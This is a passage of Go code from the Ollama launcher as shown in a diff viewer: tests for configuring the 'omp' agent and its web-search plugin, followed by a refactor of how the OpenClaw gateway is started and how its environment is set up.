got := string(calls)
|
||||
if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
|
||||
t.Fatalf("expected plugin refresh install call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("web search install failure warns and continues", func(t *testing.T) {
|
||||
logPath, o := setup(t, "No plugins installed\n", false)
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL", "1")
|
||||
|
||||
stderr := captureStderr(t, func() {
|
||||
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
|
||||
t.Fatalf("Run() should continue after plugin install failure, got %v", err)
|
||||
}
|
||||
})
|
||||
if !strings.Contains(stderr, "Warning: could not install "+ompWebSearchPlugin) {
|
||||
t.Fatalf("expected install warning, got:\n%s", stderr)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(calls), "--model ollama/gemma4 chat\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", calls)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("cloud disabled skips web search plugin management", func(t *testing.T) {
|
||||
logPath, o := setup(t, "No plugins installed\n", true)
|
||||
|
||||
stderr := captureStderr(t, func() {
|
||||
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
})
|
||||
if !strings.Contains(stderr, "Cloud is disabled; skipping "+ompWebSearchPlugin+" setup.") {
|
||||
t.Fatalf("expected cloud-disabled skip message, got:\n%s", stderr)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := string(calls)
|
||||
if strings.Contains(got, "plugin list\n") || strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
|
||||
t.Fatalf("did not expect plugin management calls, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "--model ollama/gemma4 chat\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOMPFindPath(t *testing.T) {
|
||||
o := &OMP{}
|
||||
|
||||
t.Run("finds omp in PATH", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
name := "omp"
|
||||
if runtime.GOOS == "windows" {
|
||||
name = "omp.exe"
|
||||
}
|
||||
fakeBin := filepath.Join(tmpDir, name)
|
||||
os.WriteFile(fakeBin, []byte("#!/bin/sh\n"), 0o755)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
got, err := o.findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got != fakeBin {
|
||||
t.Errorf("findPath() = %q, want %q", got, fakeBin)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("falls back to ~/.local/bin/omp", func(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
|
||||
fallback := filepath.Join(home, ".local", "bin", ompExecutableNames()[0])
|
||||
os.MkdirAll(filepath.Dir(fallback), 0o755)
|
||||
os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
|
||||
|
||||
got, err := o.findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got != fallback {
|
||||
t.Errorf("findPath() = %q, want %q", got, fallback)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("falls back to ~/.bun/bin/omp", func(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
|
||||
fallback := filepath.Join(home, ".bun", "bin", ompExecutableNames()[0])
|
||||
os.MkdirAll(filepath.Dir(fallback), 0o755)
|
||||
os.WriteFile(fallback, []byte("#!/bin/sh\n"), 0o755)
|
||||
|
||||
got, err := o.findPath()
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if got != fallback {
|
||||
t.Errorf("findPath() = %q, want %q", got, fallback)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("returns error when not found", func(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
|
||||
if _, err := o.findPath(); err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsWritesModelsYML(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
|
||||
|
||||
o := &OMP{}
|
||||
models := []LaunchModel{
|
||||
{
|
||||
Name: "glm-5.1:cloud",
|
||||
ContextLength: 202_752,
|
||||
MaxOutputTokens: 131_072,
|
||||
},
|
||||
{
|
||||
Name: "qwen3.6",
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityVision},
|
||||
},
|
||||
}
|
||||
if err := o.ConfigureWithModels("glm-5.1:cloud", models); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
path := filepath.Join(home, ".omp", "agent", "models.yml")
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read models.yml: %v", err)
|
||||
}
|
||||
|
||||
cfg := parseOMPConfigYAML(t, data)
|
||||
provider := ompProviderFromYAML(t, cfg)
|
||||
if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Fatalf("baseUrl = %v, want connectable OpenAI-compatible host", provider["baseUrl"])
|
||||
}
|
||||
if provider["api"] != "openai-responses" {
|
||||
t.Fatalf("api = %v, want openai-responses", provider["api"])
|
||||
}
|
||||
if provider["auth"] != "none" {
|
||||
t.Fatalf("auth = %v, want none", provider["auth"])
|
||||
}
|
||||
discovery, _ := provider["discovery"].(map[string]any)
|
||||
if discovery["type"] != "ollama" {
|
||||
t.Fatalf("discovery = %v, want type ollama", discovery)
|
||||
}
|
||||
|
||||
entries := ompModelEntriesFromYAML(t, provider)
|
||||
if len(entries) != 2 {
|
||||
t.Fatalf("models length = %d, want 2", len(entries))
|
||||
}
|
||||
if entries[0]["id"] != "glm-5.1:cloud" {
|
||||
t.Fatalf("first model id = %v, want primary first", entries[0]["id"])
|
||||
}
|
||||
if got := numericYAMLValue(entries[0]["contextWindow"]); got != 202_752 {
|
||||
t.Fatalf("contextWindow = %d, want 202752", got)
|
||||
}
|
||||
if got := numericYAMLValue(entries[0]["maxTokens"]); got != 131_072 {
|
||||
t.Fatalf("maxTokens = %d, want 131072", got)
|
||||
}
|
||||
if input := stringSliceYAMLValue(entries[1]["input"]); !slices.Equal(input, []string{"text", "image"}) {
|
||||
t.Fatalf("vision input = %v, want [text image]", input)
|
||||
}
|
||||
if got := o.CurrentModel(); got != "glm-5.1:cloud" {
|
||||
t.Fatalf("CurrentModel = %q, want glm-5.1:cloud", got)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
|
||||
configData, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read config.yml: %v", err)
|
||||
}
|
||||
config := parseOMPConfigYAML(t, configData)
|
||||
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
|
||||
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
|
||||
}
|
||||
if paths := o.Paths(); !slices.Equal(paths, []string{path, configPath}) {
|
||||
t.Fatalf("Paths = %v, want [%s %s]", paths, path, configPath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsPreservesExistingConfig(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
|
||||
modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
|
||||
if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
existing := []byte(`
|
||||
providers:
|
||||
anthropic:
|
||||
baseUrl: https://example.com/anthropic
|
||||
ollama:
|
||||
baseUrl: http://old-host:11434
|
||||
api: openai-responses
|
||||
auth: none
|
||||
models:
|
||||
- id: old-model
|
||||
name: Old Model
|
||||
customField: keep-me
|
||||
`)
|
||||
if err := os.WriteFile(modelsPath, existing, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
|
||||
existingConfig := []byte(`
|
||||
lastChangelogVersion: 15.7.6
|
||||
setupVersion: 0
|
||||
theme: monochrome
|
||||
`)
|
||||
if err := os.WriteFile(configPath, existingConfig, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}, {Name: "old-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(modelsPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
cfg := parseOMPConfigYAML(t, data)
|
||||
providers, _ := cfg["providers"].(map[string]any)
|
||||
if _, ok := providers["anthropic"]; !ok {
|
||||
t.Fatalf("expected non-Ollama provider to be preserved: %v", providers)
|
||||
}
|
||||
|
||||
provider := ompProviderFromYAML(t, cfg)
|
||||
if provider["baseUrl"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Fatalf("baseUrl = %v, want repaired OpenAI-compatible host", provider["baseUrl"])
|
||||
}
|
||||
|
||||
entries := ompModelEntriesFromYAML(t, provider)
|
||||
if len(entries) != 2 {
|
||||
t.Fatalf("models length = %d, want 2", len(entries))
|
||||
}
|
||||
if entries[0]["id"] != "new-model" {
|
||||
t.Fatalf("first model id = %v, want new-model", entries[0]["id"])
|
||||
}
|
||||
if entries[1]["id"] != "old-model" {
|
||||
t.Fatalf("second model id = %v, want old-model", entries[1]["id"])
|
||||
}
|
||||
if entries[1]["customField"] != "keep-me" {
|
||||
t.Fatalf("custom field was not preserved: %v", entries[1])
|
||||
}
|
||||
|
||||
configData, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
config := parseOMPConfigYAML(t, configData)
|
||||
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
|
||||
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
|
||||
}
|
||||
if config["theme"] != "monochrome" {
|
||||
t.Fatalf("theme was not preserved: %v", config)
|
||||
}
|
||||
if config["lastChangelogVersion"] != "15.7.6" {
|
||||
t.Fatalf("lastChangelogVersion was not preserved: %v", config)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsAlwaysMarksSetupComplete(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
|
||||
configPath := filepath.Join(home, ".omp", "agent", "config.yml")
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(configPath, []byte("setupVersion: 2\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
configData, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
config := parseOMPConfigYAML(t, configData)
|
||||
if got := numericYAMLValue(config["setupVersion"]); got != ompSetupVersion {
|
||||
t.Fatalf("setupVersion = %d, want %d", got, ompSetupVersion)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsRespectsPiConfigDir(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("PI_CONFIG_DIR", ".custom-omp")
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
modelsPath := filepath.Join(home, ".custom-omp", "agent", "models.yml")
|
||||
configPath := filepath.Join(home, ".custom-omp", "agent", "config.yml")
|
||||
for _, path := range []string{modelsPath, configPath} {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("expected %s to be written: %v", path, err)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(home, ".omp", "agent", "models.yml")); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected default OMP models path to be untouched, got err %v", err)
|
||||
}
|
||||
if paths := o.Paths(); !slices.Equal(paths, []string{modelsPath, configPath}) {
|
||||
t.Fatalf("Paths = %v, want [%s %s]", paths, modelsPath, configPath)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPConfigureWithModelsRespectsPiCodingAgentDir(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
agentDir := filepath.Join(home, "agent-override")
|
||||
t.Setenv("PI_CONFIG_DIR", ".ignored-omp")
|
||||
t.Setenv("PI_CODING_AGENT_DIR", agentDir)
|
||||
|
||||
o := &OMP{}
|
||||
if err := o.ConfigureWithModels("new-model", []LaunchModel{{Name: "new-model"}}); err != nil {
|
||||
t.Fatalf("ConfigureWithModels returned error: %v", err)
|
||||
}
|
||||
|
||||
modelsPath := filepath.Join(agentDir, "models.yml")
|
||||
configPath := filepath.Join(agentDir, "config.yml")
|
||||
for _, path := range []string{modelsPath, configPath} {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
t.Fatalf("expected %s to be written: %v", path, err)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(home, ".ignored-omp", "agent", "models.yml")); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected PI_CONFIG_DIR path to be ignored when PI_CODING_AGENT_DIR is set, got err %v", err)
|
||||
}
|
||||
if got := o.CurrentModel(); got != "new-model" {
|
||||
t.Fatalf("CurrentModel = %q, want new-model", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPCurrentModelRequiresHealthyProvider(t *testing.T) {
|
||||
home := t.TempDir()
|
||||
setOMPTestHome(t, home)
|
||||
t.Setenv("OLLAMA_HOST", "http://127.0.0.1:11434")
|
||||
|
||||
modelsPath := filepath.Join(home, ".omp", "agent", "models.yml")
|
||||
if err := os.MkdirAll(filepath.Dir(modelsPath), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
provider string
|
||||
}{
|
||||
{
|
||||
name: "wrong base url",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:9999/v1\n" +
|
||||
" api: openai-responses\n" +
|
||||
" auth: none\n" +
|
||||
" discovery:\n" +
|
||||
" type: ollama\n",
|
||||
},
|
||||
{
|
||||
name: "wrong api",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:11434/v1\n" +
|
||||
" api: openai-chat\n" +
|
||||
" auth: none\n" +
|
||||
" discovery:\n" +
|
||||
" type: ollama\n",
|
||||
},
|
||||
{
|
||||
name: "wrong auth",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:11434/v1\n" +
|
||||
" api: openai-responses\n" +
|
||||
" auth: api-key\n" +
|
||||
" discovery:\n" +
|
||||
" type: ollama\n",
|
||||
},
|
||||
{
|
||||
name: "wrong discovery",
|
||||
provider: "" +
|
||||
" baseUrl: http://127.0.0.1:11434/v1\n" +
|
||||
" api: openai-responses\n" +
|
||||
" auth: none\n" +
|
||||
" discovery:\n" +
|
||||
" type: static\n",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
cfg := "providers:\n" +
|
||||
" ollama:\n" +
|
||||
tt.provider +
|
||||
" models:\n" +
|
||||
" - id: gemma4\n"
|
||||
if err := os.WriteFile(modelsPath, []byte(cfg), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := (&OMP{}).CurrentModel(); got != "" {
|
||||
t.Fatalf("expected stale config to return empty current model, got %q", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func parseOMPConfigYAML(t *testing.T, data []byte) map[string]any {
|
||||
t.Helper()
|
||||
var cfg map[string]any
|
||||
if err := yaml.Unmarshal(data, &cfg); err != nil {
|
||||
t.Fatalf("generated YAML did not parse: %v\n%s", err, data)
|
||||
}
|
||||
return cfg
|
||||
}
|
||||
|
||||
func ompProviderFromYAML(t *testing.T, cfg map[string]any) map[string]any {
|
||||
t.Helper()
|
||||
providers, ok := cfg["providers"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("providers missing from config: %v", cfg)
|
||||
}
|
||||
provider, ok := providers["ollama"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("ollama provider missing from config: %v", providers)
|
||||
}
|
||||
return provider
|
||||
}
|
||||
|
||||
func ompModelEntriesFromYAML(t *testing.T, provider map[string]any) []map[string]any {
|
||||
t.Helper()
|
||||
rawModels, ok := provider["models"].([]any)
|
||||
if !ok {
|
||||
t.Fatalf("provider models missing: %v", provider)
|
||||
}
|
||||
models := make([]map[string]any, 0, len(rawModels))
|
||||
for _, raw := range rawModels {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("model entry has unexpected type %T: %v", raw, raw)
|
||||
}
|
||||
models = append(models, entry)
|
||||
}
|
||||
return models
|
||||
}
|
||||
|
||||
func numericYAMLValue(value any) int {
|
||||
switch v := value.(type) {
|
||||
case int:
|
||||
return v
|
||||
case int64:
|
||||
return int(v)
|
||||
case float64:
|
||||
return int(v)
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func stringSliceYAMLValue(value any) []string {
|
||||
raw, _ := value.([]any)
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, item := range raw {
|
||||
if s, ok := item.(string); ok {
|
||||
out = append(out, s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
+221
-239
@@ -1,7 +1,6 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net"
|
||||
@@ -10,31 +9,25 @@ import (
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"golang.org/x/mod/semver"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
const defaultGatewayPort = 18789
|
||||
|
||||
// Bound model capability probing so launch/config cannot hang on slow/unreachable API calls.
|
||||
var openclawModelShowTimeout = 5 * time.Second
|
||||
|
||||
// openclawFreshInstall is set to true when ensureOpenclawInstalled performs an install
|
||||
var openclawFreshInstall bool
|
||||
|
||||
var openclawCanInstallDaemon = canInstallDaemon
|
||||
|
||||
type Openclaw struct{}
|
||||
|
||||
func (c *Openclaw) String() string { return "OpenClaw" }
|
||||
|
||||
func (c *Openclaw) Run(model string, args []string) error {
|
||||
func (c *Openclaw) Run(model string, _ []LaunchModel, args []string) error {
|
||||
bin, err := ensureOpenclawInstalled()
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -60,6 +53,7 @@ func (c *Openclaw) Run(model string, args []string) error {
|
||||
// the newest wizard flags (e.g. --auth-choice ollama).
|
||||
if !openclawFreshInstall {
|
||||
update := exec.Command(bin, "update")
|
||||
update.Env = openclawInstallEnv()
|
||||
update.Stdout = os.Stdout
|
||||
update.Stderr = os.Stderr
|
||||
_ = update.Run() // best-effort; continue even if update fails
|
||||
@@ -75,19 +69,18 @@ func (c *Openclaw) Run(model string, args []string) error {
|
||||
"--auth-choice", "ollama",
|
||||
"--custom-base-url", envconfig.Host().String(),
|
||||
"--custom-model-id", model,
|
||||
// Launch owns the first real gateway startup immediately after onboarding,
|
||||
// so don't let OpenClaw fail the whole first-run flow on a transient
|
||||
// daemon health probe.
|
||||
"--skip-health",
|
||||
"--skip-channels",
|
||||
"--skip-skills",
|
||||
}
|
||||
if canInstallDaemon() {
|
||||
if openclawCanInstallDaemon() {
|
||||
onboardArgs = append(onboardArgs, "--install-daemon")
|
||||
} else {
|
||||
// When we can't install a daemon (e.g. no systemd, sudo dropped
|
||||
// XDG_RUNTIME_DIR, or container environment), skip the gateway
|
||||
// health check so non-interactive onboarding completes. The
|
||||
// gateway is started as a foreground child process after onboarding.
|
||||
onboardArgs = append(onboardArgs, "--skip-health")
|
||||
}
|
||||
cmd := exec.Command(bin, onboardArgs...)
|
||||
cmd.Env = openclawInstallEnv()
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
@@ -98,13 +91,23 @@ func (c *Openclaw) Run(model string, args []string) error {
|
||||
patchDeviceScopes()
|
||||
}
|
||||
|
||||
if ensureWebSearchPlugin() {
|
||||
registerWebSearchPlugin()
|
||||
}
|
||||
configureOllamaWebSearch()
|
||||
|
||||
// When extra args are passed through, run exactly what the user asked for
|
||||
// after setup and skip the built-in gateway+TUI convenience flow.
|
||||
if len(args) > 0 {
|
||||
cleanup := func() {}
|
||||
if shouldEnsureGatewayForArgs(args) {
|
||||
cleanupFn, _, _, err := c.ensureGatewayReady(bin)
|
||||
if err != nil {
|
||||
return windowsHint(err)
|
||||
}
|
||||
if cleanupFn != nil {
|
||||
cleanup = cleanupFn
|
||||
}
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
cmd := exec.Command(bin, args...)
|
||||
cmd.Env = openclawEnv()
|
||||
cmd.Stdin = os.Stdin
|
||||
@@ -125,41 +128,11 @@ func (c *Openclaw) Run(model string, args []string) error {
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\n%sStarting your assistant — this may take a moment...%s\n\n", ansiGray, ansiReset)
|
||||
|
||||
token, port := c.gatewayInfo()
|
||||
addr := fmt.Sprintf("localhost:%d", port)
|
||||
|
||||
// If the gateway is already running (e.g. via the daemon), restart it
|
||||
// so it picks up any config changes (model, provider, etc.).
|
||||
if portOpen(addr) {
|
||||
restart := exec.Command(bin, "daemon", "restart")
|
||||
restart.Env = openclawEnv()
|
||||
if err := restart.Run(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: daemon restart failed: %v%s\n", ansiYellow, err, ansiReset)
|
||||
}
|
||||
if !waitForPort(addr, 10*time.Second) {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: gateway did not come back after restart%s\n", ansiYellow, ansiReset)
|
||||
}
|
||||
}
|
||||
|
||||
// If the gateway isn't running, start it as a background child process.
|
||||
if !portOpen(addr) {
|
||||
gw := exec.Command(bin, "gateway", "run", "--force")
|
||||
gw.Env = openclawEnv()
|
||||
if err := gw.Start(); err != nil {
|
||||
return windowsHint(fmt.Errorf("failed to start gateway: %w", err))
|
||||
}
|
||||
defer func() {
|
||||
if gw.Process != nil {
|
||||
_ = gw.Process.Kill()
|
||||
_ = gw.Wait()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sStarting gateway...%s\n", ansiGray, ansiReset)
|
||||
if !waitForPort(addr, 30*time.Second) {
|
||||
return windowsHint(fmt.Errorf("gateway did not start on %s", addr))
|
||||
cleanup, token, port, err := c.ensureGatewayReady(bin)
|
||||
if err != nil {
|
||||
return windowsHint(err)
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
printOpenclawReady(bin, token, port, firstLaunch)
|
||||
|
||||
@@ -179,6 +152,66 @@ func (c *Openclaw) Run(model string, args []string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func shouldEnsureGatewayForArgs(args []string) bool {
|
||||
return len(args) > 0 && args[0] == "tui"
|
||||
}
|
||||
|
||||
func (c *Openclaw) ensureGatewayReady(bin string) (func(), string, int, error) {
|
||||
token, port := c.gatewayInfo()
|
||||
addr := fmt.Sprintf("127.0.0.1:%d", port)
|
||||
|
||||
// If the gateway is already running (e.g. via the daemon), restart it
|
||||
// so it picks up any config changes (model, provider, etc.).
|
||||
if portOpen(addr) {
|
||||
restart := exec.Command(bin, "daemon", "restart")
|
||||
restart.Env = openclawEnv()
|
||||
if err := restart.Run(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: daemon restart failed: %v%s\n", ansiYellow, err, ansiReset)
|
||||
}
|
||||
if !waitForPort(addr, 10*time.Second) {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: gateway did not come back after restart%s\n", ansiYellow, ansiReset)
|
||||
}
|
||||
}
|
||||
|
||||
// If the daemon is installed but not currently listening, try to bring it
|
||||
// up before falling back to a foreground child process.
|
||||
if openclawCanInstallDaemon() && !portOpen(addr) {
|
||||
start := exec.Command(bin, "daemon", "start")
|
||||
start.Env = openclawEnv()
|
||||
if err := start.Run(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: daemon start failed: %v%s\n", ansiYellow, err, ansiReset)
|
||||
} else if waitForPort(addr, 10*time.Second) {
|
||||
fmt.Fprintf(os.Stderr, "%sStarting gateway...%s\n", ansiGray, ansiReset)
|
||||
return func() {}, token, port, nil
|
||||
}
|
||||
}
|
||||
|
||||
cleanup := func() {}
|
||||
|
||||
// If the gateway still isn't running, start it as a background child process.
|
||||
if !portOpen(addr) {
|
||||
gw := exec.Command(bin, "gateway", "run", "--force")
|
||||
gw.Env = openclawEnv()
|
||||
if err := gw.Start(); err != nil {
|
||||
return nil, "", 0, fmt.Errorf("failed to start gateway: %w", err)
|
||||
}
|
||||
cleanup = func() {
|
||||
if gw.Process != nil {
|
||||
_ = gw.Process.Kill()
|
||||
_ = gw.Wait()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sStarting gateway...%s\n", ansiGray, ansiReset)
|
||||
if !waitForPort(addr, 30*time.Second) {
|
||||
cleanup()
|
||||
return nil, "", 0, fmt.Errorf("gateway did not start on %s", addr)
|
||||
}
|
||||
|
||||
return cleanup, token, port, nil
|
||||
}
|
||||
|
||||
// runChannelSetupPreflight prompts users to connect a messaging channel before
|
||||
// starting the built-in gateway+TUI flow. In interactive sessions, it loops
|
||||
// until a channel is configured, unless the user chooses "Set up later".
|
||||
@@ -301,7 +334,7 @@ func (c *Openclaw) gatewayInfo() (token string, port int) {
|
||||
}
|
||||
|
||||
func printOpenclawReady(bin, token string, port int, firstLaunch bool) {
|
||||
u := fmt.Sprintf("http://localhost:%d", port)
|
||||
u := fmt.Sprintf("http://127.0.0.1:%d", port)
|
||||
if token != "" {
|
||||
u += "/#token=" + url.QueryEscape(token)
|
||||
}
|
||||
@@ -339,9 +372,30 @@ func openclawEnv() []string {
|
||||
env = append(env, e)
|
||||
}
|
||||
}
|
||||
if _, ok := os.LookupEnv("OPENCLAW_PLUGIN_STAGE_DIR"); !ok {
|
||||
if dir := openclawPluginStageDir(); dir != "" {
|
||||
env = append(env, "OPENCLAW_PLUGIN_STAGE_DIR="+dir)
|
||||
}
|
||||
}
|
||||
return env
|
||||
}
|
||||
|
||||
func openclawInstallEnv() []string {
|
||||
env := openclawEnv()
|
||||
if _, ok := os.LookupEnv("OPENCLAW_EAGER_BUNDLED_PLUGIN_DEPS"); !ok {
|
||||
env = append(env, "OPENCLAW_EAGER_BUNDLED_PLUGIN_DEPS=1")
|
||||
}
|
||||
return env
|
||||
}
|
||||
|
||||
func openclawPluginStageDir() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return filepath.Join(home, ".openclaw", "plugin-runtime-deps")
|
||||
}
|
||||
|
||||
// portOpen checks if a TCP port is currently accepting connections.
|
||||
func portOpen(addr string) bool {
|
||||
conn, err := net.DialTimeout("tcp", addr, 500*time.Millisecond)
|
||||
@@ -565,6 +619,7 @@ func ensureOpenclawInstalled() (string, error) {
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling OpenClaw...\n")
|
||||
cmd := exec.Command("npm", "install", "-g", "openclaw@latest")
|
||||
cmd.Env = openclawInstallEnv()
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
@@ -594,7 +649,7 @@ func (c *Openclaw) Paths() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Openclaw) Edit(models []string) error {
|
||||
func (c *Openclaw) Edit(models []LaunchModel) error {
|
||||
if len(models) == 0 {
|
||||
return nil
|
||||
}
|
||||
@@ -648,13 +703,11 @@ func (c *Openclaw) Edit(models []string) error {
|
||||
}
|
||||
}
|
||||
|
||||
client, _ := api.ClientFromEnvironment()
|
||||
|
||||
var newModels []any
|
||||
for _, m := range models {
|
||||
entry, _ := openclawModelConfig(context.Background(), client, m)
|
||||
entry, _ := openclawModelConfig(m)
|
||||
// Merge existing fields (user customizations)
|
||||
if existing, ok := existingByID[m]; ok {
|
||||
if existing, ok := existingByID[m.Name]; ok {
|
||||
for k, v := range existing {
|
||||
